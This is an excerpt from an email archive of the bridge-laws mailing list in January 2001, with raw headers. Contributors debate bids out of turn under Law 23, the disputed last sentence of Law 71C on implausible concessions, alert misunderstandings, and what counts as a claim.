f0HLTYt12579 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > adam@irvine.com > > writes: > >> I think the answer to David's question is that since, at the > >> time of > >> North's irregularity, North knows absolutely nothing about > >> South's > >> hand except for the fact that it contains 13 cards, Law 72B1 > >> cannot > >> apply.  Thus there are no constraints on North's bidding. > > > Amen,  Kojak > > So maybe that's the answer. > > There is just one tiny niggle. (says DWS) My take on it is this: Partner has UI and might be subject to a lead penalty. I might opt to make a call that minimizes the impact of the lead penalty, but partner's upcoming problems during the play period do not in any way constrain my choice of bidding. The only thing I need to worry about is the "could have known." My idea of a logical interpretation of "could have known" seems to be different from that of the previous contributors to this thread. As a director, there are two things I will be basing my decision on: 1. Would the COOT have been a normal action had it been in proper rotation? If yes, it is very unlikely I will adjust; if no, it is very probable I will adjust. (Open 1H on a 3-count, and you could have been deliberately silencing partner and will get zapped. But open 1H on a normal 12- or 18-count -- or a multi on a normal 6-count with a major! -- and it looks like you are making your usual bid with no nefarious intent.) It matters if the COOT was a normal action. It do **not** see any reason to automatically treat a normal preempt OOT more harshly than a normal strong action OOT. And the MUCH more minor consideration: 2. Did the COOT make it possible to do something that otherwise could never have been done? If so I might have to be slightly more willing to give an adjustment. It is *just barely possible* that there exist hands where a normal-preempt-out-of-turn is the only way to shut up partner before he gets over his head. I can't think of a single example at the moment. The fact that, once the COOT has happened, certain actions that would have been psyches opposite an unbarred partner become less risky, doesn't strike me as enough. The fact that the opponents get a bad score because I got lucky and guessed the right final contract, however unlikely my choice was, certainly isn't any case for adjustment. In short, I interpret the "could have known" to be a way to disallow the COOTs that a cheat would make (without quite calling the player a cheat) -- without creating any notion that the NOs is entitled to some sort of equity. They know the COOTer's bids are not subject to partnership agreement, and they proceed at their own risk to make sense of them. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 08:49:25 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HLnBV12623 for bridge-laws-outgoing; Thu, 18 Jan 2001 08:49:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HLn5t12617 for ; Thu, 18 Jan 2001 08:49:06 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 17 Jan 2001 13:48:22 -0800 Message-ID: <018e01c080cf$46930640$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101171620.QAA20850@tempest.npl.co.uk> Subject: Re: TR: [BLML] Law 71: Concession cancelled Date: Wed, 17 Jan 2001 13:43:42 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Robin Barker wrote: > > > > > For a sentence that has been deleted, it looks pretty much present in my > > copy of the Laws, the Portland Club version downloaded from DWS web site. > > How about the rest of you? Is it still in your books? If so, then we need to > > make sure it is not reprinted if that is in conflict with a Laws Committee > > action. > > > > Craig > > > > The sentence was not deleted. The minute said something like > "The provisions of the last sentence of Law79C are included in > the provisions of the rest of Law79 (ending at the fragment > at the start of Law79C. So the laws can be read as if the > last sentence of Law79C were deleted." > 71C, that is. But the last sentence's provisions are *not* "included" in the rest of L71. They are superseded, replaced, made incorrect, but not included. This was not a harmless redundancy, as some imply. Its inapplicability should have been better promulgated by the ACBL and other ZAs, if they were aware of this item in the WBFLC's minutes. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 09:15:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HMFXp12660 for bridge-laws-outgoing; Thu, 18 Jan 2001 09:15:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from imo-r04.mx.aol.com (imo-r04.mx.aol.com [152.163.225.4]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HMFQt12656 for ; Thu, 18 Jan 2001 09:15:27 +1100 (EST) Received: from Schoderb@aol.com by imo-r04.mx.aol.com (mail_out_v29.5.) id f.d5.120b10e (664); Wed, 17 Jan 2001 17:15:02 -0500 (EST) From: Schoderb@aol.com Message-ID: Date: Wed, 17 Jan 2001 17:15:02 EST Subject: Re: [BLML] Similar but different To: rmb1@cise.npl.co.uk, bridge-laws@rgb.anu.edu.au MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_d5.120b10e.27977366_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 171 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk --part1_d5.120b10e.27977366_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 1/17/01 11:02:14 AM Eastern Standard Time, rmb1@cise.npl.co.uk writes: > > Dealer South, North passes out of turn, not accepted, so North is > silenced on the first round (must pass when next it is his turn to > call). Are there any constraints on South's bidding? > > My answer: Yes. > > South has UI and so must not select from logical alternatives one > demonstrably suggested by the fact that North passed. > > If South has approximately a weak NT hand, then his logical alternatives > may be 1NT and 3NT, in which case he must bid 3NT as 1NT is suggested > over 3NT by the fact that partner has less than an opening hand. > > ? > > Robin > > -- > Seems to me that South was the dealer, and before he could call his partner bid....? Right. So where does South get another chance to bid (see Law 71B. No? Am I getting dotty???? Must be the late nights, I guess. Kojak --part1_d5.120b10e.27977366_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 1/17/01 11:02:14 AM Eastern Standard Time,
rmb1@cise.npl.co.uk writes:



Dealer South, North passes out of turn, not accepted, so North is
silenced on the first round (must pass when next it is his turn to
call).  Are there any constraints on South's bidding?

My answer: Yes.

South has UI and so must not select from logical alternatives one
demonstrably suggested by the fact that North passed.

If South has approximately a weak NT hand, then his logical alternatives
may be 1NT and 3NT, in which case he must bid 3NT as 1NT is suggested
over 3NT by the fact that partner has less than an opening hand.

?

Robin

--


Seems to me that South was the dealer, and before he could call his partner
bid....? Right.  So where does South get another chance to bid (see Law 71B.  
No?  Am I getting dotty????

Must be the late nights, I guess.

Kojak --part1_d5.120b10e.27977366_boundary-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 09:42:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HMftt12700 for bridge-laws-outgoing; Thu, 18 Jan 2001 09:41:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HMfnt12696 for ; Thu, 18 Jan 2001 09:41:49 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 17 Jan 2001 14:41:05 -0800 Message-ID: <019a01c080d6$a421a940$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "blml" References: Subject: Re: [BLML] history of the withdrawal of an implausible concession Date: Wed, 17 Jan 2001 14:40:13 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Roger Pewick wrote: > In 1963 the time limit for withdrawal of an impossible concession was until > the cards went back into the board. > > In 1987 the time limit for withdrawal of an impossible concession lengthened > to the correction period of L79C. Also the implausible concession first > appeared where the time limit went past the time of the completion of the > hand to the side calling to the next board/ end of round. > > >From what has been written in the L71C thread, my understanding is that in > 1997 the withdrawal of the implausible concession was [the superfluous > sentence*] extended to the correction period of L79C. > > I am interested in the history of the withdrawal of an implausible > concession, including the principles and reasoning used in its creation. > The original Laws of Duplicate Bridge merely used the rubber bridge laws: L40(e) If a side concedes a trick which it could not lose by any play of the cards, such concession is void. Pretty simple! That language was still in effect in the 1946 revision, provided in Culbertson's book on duplicate, 1946. No time period was given for correcting such a concession, but using the analogy of rubber bridge the time period probably ended when the cards were returned to the board, as the 1963 Laws explicitly specifies for impossible claims regarding unplayed tricks (while extending the time period for actual errors made in the accounting of previous tricks). The 1963 Laws do not recognize implausibility, as a conceded trick in cards remaining to be played had to be an impossibility ("cannot be lost by any sequence of play of the remaining cards, however improbable..." in order to be corrected. This draconian law was changed in 1975 to say that a concession could be corrected if the trick "could not have been lost by any probable play of the remaining cards." A player with AKQ2 did not have to lose a conceded trick if the AKQ would pluck out all defenders' cards in the suit. The correction still had to be made before the cards were returned to the board. In the 1987/90 Laws this was tightened up a bit, changing "probable" to "normal." Now a trick could remain conceded if merely careless or inferior play for the class of player involved would lose the trick, even if the play would be improbable. This was explained in the footnote we still have. However, a correction could be made even cards were restored to the board, provided a call had not yet been made on the next board of the round or the round had not ended. The only change for 1997 (which has the error we have been discussing) is that the time for correction of an implausible claim is extended to that specified in L79C for incorrect accounting of tricks already played. Each change along the way seems reasonable, but it is difficult not to speculate that one or more of them arose out of a rejected claim made by some influential person. :)) Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 09:43:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HMhd212713 for bridge-laws-outgoing; Thu, 18 Jan 2001 09:43:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from calum.csclub.uwaterloo.ca (root@calum.csclub.uwaterloo.ca [129.97.134.11]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HMhWt12709 for ; Thu, 18 Jan 2001 09:43:33 +1100 (EST) Received: from calum.csclub.uwaterloo.ca (localhost [127.0.0.1]) by calum.csclub.uwaterloo.ca (8.9.3+Sun/8.9.3) with ESMTP id RAA04115 for ; Wed, 17 Jan 2001 17:48:44 -0500 (EST) Message-Id: <200101172248.RAA04115@calum.csclub.uwaterloo.ca> From: Michael Farebrother To: bridge-laws@rgb.anu.edu.au Subject: [BLML] Agreements over unasked conventions? Reply-To: blml@farebrother.cx Date: Wed, 17 Jan 2001 17:48:44 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The following auction occurred at our local Swiss Teams last Sunday: Game All, Dealer N. N E S 1NT(1) 2H!(2) 3H!(3) (1) 15-17, (2,3) see below West asks about the Alert of 3H. Three Questions: 1) North explains it as Stayman for Spades without a stopper. West asks, "Really?" (2H shows 5+ spades). 2) North asks what the Alert of 2H meant (in order to explain 3H correctly), and South says "2H was Alerted?" (Again, 2H shows 5+ spades). 3) As in 2), but now 2H shows 5+hearts and a 4+card minor suit. Obviously, North heard the Alert, South did not, and 3H was Lebensohl, GF, 4 spades without a heart stopper. What should happen if the Director is called at the points shown? One final question: what if noone asked, N-S get to 3NT, and the Director is called when dummy comes down? (E-W CCs clearly state that 2H over a strong NT directly shows spades, and N-S CCs clearly state that Lebensohl is employed). Michael. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 10:00:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HN0Sn12744 for bridge-laws-outgoing; Thu, 18 Jan 2001 10:00:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2.nyroc.rr.com (mailout2-1.nyroc.rr.com [24.92.226.165]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HN0Lt12740 for ; Thu, 18 Jan 2001 10:00:22 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id RAA24555; Wed, 17 Jan 2001 17:56:23 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> References: <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> Date: Wed, 17 Jan 2001 17:58:38 -0500 To: "Kooijman, A." From: Ed Reppert Subject: RE: TR: [BLML] Law 71: Concession cancelled Cc: Bridge Laws Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >The second sentence, starting with 'Until'and ending with 'cards' for sure >has been deleted. All of you analyzing that something is wrong with this >sentence in relation to other (parts of) laws are right, which was the >reason to decide to take it out. We did this already in '97 I think. So take >your pensil and also shout it out. Ton, I just checked my printed copy (ACBL version) of the '97 laws, as well as the HTML version at the ACBL website and the WBF European version linked from DWS' Laws page, and they *all* contain this sentence. Can you verify, please, that it was deleted, and when and by whom? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOmYj/72UW3au93vOEQKhagCfQ4qtZL4zi2vx5ONjtB8exbNj8CEAoJ8Z PhbUbZHQ3y+3tuB6MhC7MaQt =vzrM -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 11:46:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I0jBa12905 for bridge-laws-outgoing; Thu, 18 Jan 2001 11:45:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I0j2t12894 for ; Thu, 18 Jan 2001 11:45:03 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14J3CD-000ERR-0V for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 00:44:58 +0000 Message-ID: Date: Thu, 18 Jan 2001 00:43:52 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: [BLML] Claim? MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Declarer looks at dummy, and comments: "Oh dear! We should be in slam - we are going to make twelve tricks!" Has he claimed? -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 11:46:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I0jGG12907 for bridge-laws-outgoing; Thu, 18 Jan 2001 11:45:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I0j2t12893 for ; Thu, 18 Jan 2001 11:45:03 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14J3C6-000ERT-0V for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 00:44:52 +0000 Message-ID: Date: Wed, 17 Jan 2001 18:07:49 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: TR: [BLML] Law 71: Concession cancelled References: <01011519525801.00176@psa836> <00cf01c08040$828fd360$56991e18@san.rr.com> In-Reply-To: <00cf01c08040$828fd360$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >David Stevenson wrote: > >> >On Mon, 15 Jan 2001, David Stevenson wrote: >> >> >> >71C. Implausible Concession >> >> > if a player has conceded a trick that cannot be lost by >> >> > any normal play of the remaining cards. Until the >> >> > conceding side makes a call on a subsequent board, or >> >> > until the round ends, the Director shall cancel the >> >> > concession of a trick that could not have been lost >> >> > by any normal play of the remaining cards. >> >> >> >> The second sentence has not been deleted. However, it has been >> >> realised that it is superfluous, and it is acceptable to treat this >Law >> >> _as though_ it had been deleted. >> >> >>I tried to argue at one >> time as you said, based on the idea that it was not logical to include >> the second sentence otherwise, and it was decided that the second >> sentence was superfluous, and had been left in accidentally when other >> changes were made to the Law. > >The second sentence is not superfluous, which means adding nothing to >the first sentence. It is a contradiction of the first sentence, >carrying a different meaning. Let's just say it's a goof, a fossil that >should have been removed when L71 was recast. It *is* superfluous, it is not contradictory. The second sentence allows a concession to be cancelled if a trick could not have been lost by any normal play of the cards, and gives a time limit. The first sentence allows a concession to be cancelled if a trick could not have been lost by any normal play of the cards, but gives no time limit. So any concession allowed by the second sentence is always allowed by the first sentence, and also concessions outside the time limit are allowed. Thus the second sentence is superfluous. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 11:46:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I0jGZ12906 for bridge-laws-outgoing; Thu, 18 Jan 2001 11:45:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I0j2t12892 for ; Thu, 18 Jan 2001 11:45:03 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14J3C6-000ERU-0V for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 00:44:52 +0000 Message-ID: <6g1$paAsDeZ6Ewca@blakjak.demon.co.uk> Date: Wed, 17 Jan 2001 18:14:04 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: TR: TR: [BLML] Law 71: Concession cancelled References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Laval_DUBREUIL@UQSS.UQuebec.CA writes >> >On Mon, 15 Jan 2001, David Stevenson wrote: >> >> >71C. Implausible Concession >> >> > if a player has conceded a trick that cannot be lost by >> >> > any normal play of the remaining cards. Until the >> >> > conceding side makes a call on a subsequent board, or >> >> > until the round ends, the Director shall cancel the >> >> > concession of a trick that could not have been lost >> >> > by any normal play of the remaining cards. >> The second sentence has not been deleted. However, it has been >> realised that it is superfluous, and it is acceptable to treat this >> Law_as though_ it had been deleted. >If you are right, IMHO it is a major change in Laws. > >Remember the example in my first message: > >The contract is 4S and declarer's last 3 cards are: > S A 2 > H A > >A defender has (no other trump left): > S 7 > H 8 2 > >Declarer claims 4, conceeding 1 of the last 3 tricks. >He misconted Ss and was sure the defender had 2 trumps. > >With text as above (with last sentence), 71C no more applies >after "conceding side makes a call on subsequent board or >until the round ends". So if conceding side no more agrees >with his concession after that, he will loose 1 trick because >71A now applies and playing S2 is a "legal" play. > >Without the last sentence, 71C applies any time so the >conceding side will loose no trick. The "normal play is SA. But if you look at the first sentence it also applies outside that time period. So the second sentence is superfluous and should be treated as though it had been deleted. >I am very surprised that such a change have been made >without rewriting the Law book (and changing the on-line text). Maybe you are, but that is what the WBFLC did: noted it was superfluous. There was no change of Law, merely a clarification. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 12:13:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I1DNF12994 for bridge-laws-outgoing; Thu, 18 Jan 2001 12:13:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I1DHt12990 for ; Thu, 18 Jan 2001 12:13:17 +1100 (EST) Received: from twkdckuj (ppp011.pullman.com [204.227.174.11]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id RAA81613 for ; Wed, 17 Jan 2001 17:14:31 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010117171535.007098e0@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 17 Jan 2001 17:15:42 -0800 To: Bridge Laws From: "N. Scott Cardell" Subject: Re: [BLML] Annoyingly irregular Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 04:11 PM 1/16/01 +1000, you wrote: > >One wrote: > >[snip] > >>Kaplan stated that *While you might think >>less of them as a person,* they should not be >>penalised for acting to their own advantage >>within the Laws of Bridge. >> >>I may be misinterpreting Kaplan, but I believe >>he was making two important points: >> >>1. His private bridge morality was merely a >>subset of bridge legality; and >> >>2. While he might disagree with the subset >>of bridge legality another person selected as >>their bridge morality, he would defend to the >>death their right to choose their bridge >>actions within the Laws. > >However, Kaplan's stance on the second point >was modified by his successful persistence in >campaigning for *change* to the Laws. > >For example, most use of UI was more-or-less >legal (and therefore moral) in the 1950s. ACs >had to let infractors get away with the >hesitation tango, since the alternative was a >disproportionate charge of outright cheating. > >Kaplan's efforts in making use of UI a mere >technical violation, with no suggestion of >cheating, changed the enforcement of bridge >laws. It therefore removed use of UI from >the scope of bridge morality. IMHO Kaplan's efforts led to a far more profound change in the laws. An entirely new obligation was created. That obligation was to avoid choosing an action which was suggested over it's logical alternatives by the UI. Violation of this obligation became a technical violation, with no suggestion of cheating. NO's thus became eligible for redress when a violation of that obligation caused them damage. However, actually using UI remained cheating and within the scope of bridge morality. At times it may appear that very fine hairs are being split, but this distinction is important. For example, suppose that a player knows that his partner never hesitates with a strong hand contrary to the usual assumption that slow shows extras. Furthermore, suppose that player then uses that UI with close hands to decline slow invitational bids; and "gets away with it" because the director is never called. Then that player is cheating and if (eventually) caught would be subject to disciplinary penalties. Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 12:33:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I1Wjx13035 for bridge-laws-outgoing; Thu, 18 Jan 2001 12:32:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I1Wdt13030 for ; Thu, 18 Jan 2001 12:32:40 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id RAA06740; Wed, 17 Jan 2001 17:32:32 -0800 Message-Id: <200101180132.RAA06740@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Claim? In-Reply-To: Your message of "Thu, 18 Jan 2001 00:43:52 GMT." Date: Wed, 17 Jan 2001 17:32:31 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? I'd rule "no". I think intent to claim has to be there. OK, hyper-literalists are going to argue that 68B says that *any* statement to the effect that he'll win X number of tricks is a claim. If they argue that, I'll argue that this obviously intends only to apply to statements that are directed toward the opponents, and not when declarer directs the statement toward dummy, or toward a kibitzer, or to his coffee mug, or muttering to himself, etc. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 12:56:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0I1sfm19451 for bridge-laws-outgoing; Thu, 18 Jan 2001 12:54:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from gtei2.bellatlantic.net (gtei2.bellatlantic.net [199.45.40.146]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0I1sWt19400 for ; Thu, 18 Jan 2001 12:54:35 +1100 (EST) Received: from MIKE (adsl-141-157-105-77.bellatlantic.net [141.157.105.77]) by gtei2.bellatlantic.net (8.9.1/8.9.1) with SMTP id UAA22487 for ; Wed, 17 Jan 2001 20:54:27 -0500 (EST) Received: by MIKE with Microsoft Mail id <01C080C7.541B5AE0@MIKE>; Wed, 17 Jan 2001 20:51:56 -0500 Message-ID: <01C080C7.541B5AE0@MIKE> From: "Michael S. Dennis" To: "'bridge-laws@rgb.anu.edu.au'" Subject: Re: [BLML] Let's get back to the easy stuff Date: Wed, 17 Jan 2001 20:51:54 -0500 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:05 PM 1/14/01, Eric wrote: > Dealer South, North bids out of turn, not accepted, so South is >silenced. Are there any constraints on North's bidding? >Yes, there are constraints imposed by L23. North should not take any >action which is more likely to succeed with partner barred than it >would be were partner free to bid. TD's authority to adjust (given >damage) comes from L72B1. I'm sure that either you have mis-typed or I have min-interpreted your comment here. Let's look at the text. L23: When the penalty for an irregularity under any Law would compel the offender's partner to pass at his next turn, if the Director deems that the offender, at the time of his irregularity, could have known that the enforced pass would be likely to damage the non-offending side, he shall require the auction and play to continue and consider awarding an adjusted score . This law is a direction only to the Director, not the players. It does _not_ pose any restriction on the players whatsoever. Implicitly, we could say that this Law advises players against the tactic of deliberately bidding out of turn for the purpose of forcing partner to pass, because the TD is empowered to guard against that tactic. But the actual language of this Law does not constrain the legal actions of a player per se. Consider the implications of your interpretation, at least as you expressed it. Suppose you open out of turn holding a balanced 17-count. Given the restrictions on partner after the dust settles, your likely recourse is an opening 3nt bid. Now this would have been an egregious misbid and doomed to almost certain failure, whatever your methods, opposite a partner who is free to bid. However, you bid it in this situation, opposite a barred partner, with the hope (if not expectation) of success. Therefore this bid is "more likely to succeed with partner barred than it would be were partner free to bid," although I am confident that we are in agreement that it is a perfectly legal bid, regardless of the outcome, and not subject to adjustment in any event. The test posed by L23 is not principally of the bid made by offender, but of the possibility that the offense itself was deliberate, in the context of his subsequent action and the final result. Mike Dennis Mike Dennis -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at 